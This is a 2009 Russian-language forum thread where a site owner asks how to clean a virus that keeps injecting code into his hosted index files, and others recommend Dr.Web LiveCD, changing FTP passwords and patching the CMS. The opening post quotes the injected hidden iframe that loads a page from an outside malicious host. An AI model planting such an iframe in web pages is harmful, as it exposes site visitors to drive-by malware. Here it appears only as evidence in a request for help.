Страница 1 из 1
Подскажите чем удалить вирус
Добавлено: 2009-07-31 18:49:49
sergio
У меня на хостинге вирус.
Судя по всему пароли к ftp с клиентской тачки спёр какой-нибудь троян.
Лазит себе вирусняк по хостинговой дире, и в index.* и дописывает что-то типа:
Код: Выделить всё
<iframe src="http://xb6.ru:8080/index.php" width=140 height=137 style="visibility: hidden"></iframe>
Clamav его в упор не видит.
Есть ли бесплатный антивырь чтоб его изловить мог, да файлы почистить. Ато задолбался восстанавливать.
Re: Подскажите чем удалить вирус
Добавлено: 2009-07-31 19:26:10
ban
1) Качаешь Dr.Web LiveCD (сканирование рабочих станций и серверов под управлением Windows\Unix) собран на каком-то дистрибутиве линуксовом
ftp://ftp.drweb.com/pub/drweb/livecd/20 ... -5.0.0.iso
2) Грузишься, монтируешь раздел FreeBSD - сканируешь, провод сетевой не забудь отцепить на всякий случай
Вопрос монтирования освещен тут:
Как смонтировать раздел FreeBSD под Linux?
Сам не пробовал такую схему, но почему бы не попробовать если других вариантов конечно не предложат.
Кстати, базы Dr.Web'овские в обозначенном образе должны быть по вчерашнее число, так что осталось только смонтироваться...
Если получится что, отпишись пожалуйста для потомков
Re: Подскажите чем удалить вирус
Добавлено: 2009-07-31 19:47:00
princeps
sergio писал(а):
Судя по всему пароли к ftp с клиентской тачки спёр какой-нибудь троян.
Лазит себе вирусняк по хостинговой дире, и в index.* и дописывает что-то типа:
sergio писал(а):Ато задолбался восстанавливать.
А поменять пароль на ftp не судьба? И последние обновления накатить, особенно на CMS.
Re: Подскажите чем удалить вирус
Добавлено: 2009-07-31 19:55:08
sergio
А поменять пароль на ftp не судьба?
Уже
Re: Подскажите чем удалить вирус
Добавлено: 2009-07-31 20:00:04
sergio
ban Спасибо, попробую.
Хочу ещё попробовать оттуда ключ для DrWeb вытянуть. Он ведь может подойти к тому что в портах лежит?
Re: Подскажите чем удалить вирус
Добавлено: 2009-07-31 22:36:13
goshanecr
Мне кажется что кламав и не должен видеть этот вирь и никакой другой антивирь его тоже не увидит.. Может он работает по принципу:
С клиентского компа узнаётся логин/пасс к хостингу, и затем удалённо этот скрипт просто используя логин пасс уже дописывает абсолютно безобидный для любого антивируса представленный тобой HTML код.. Может я и не прав, но мне кажется так..
Re: Подскажите чем удалить вирус
Добавлено: 2009-08-01 9:40:56
princeps
в большинстве случаев описанная тредстартером ситуация происходит, когда вирус юзает уязвимость в cms.
goshanecr писал(а):Мне кажется что кламав и не должен видеть этот вирь и никакой другой антивирь его тоже не увидит..
Я как-то сталкивался с подобным, делал следующим образом - каталог www копировал с хостинга к себе на комп с виндой и каспер отлично видел вирус и мочил его.
Кстати, вирусу, как я понимаю, не обязательно красть пароли, он теоретически может заражать сайт во время ftp-сессии с зараженной клиенсткой машины.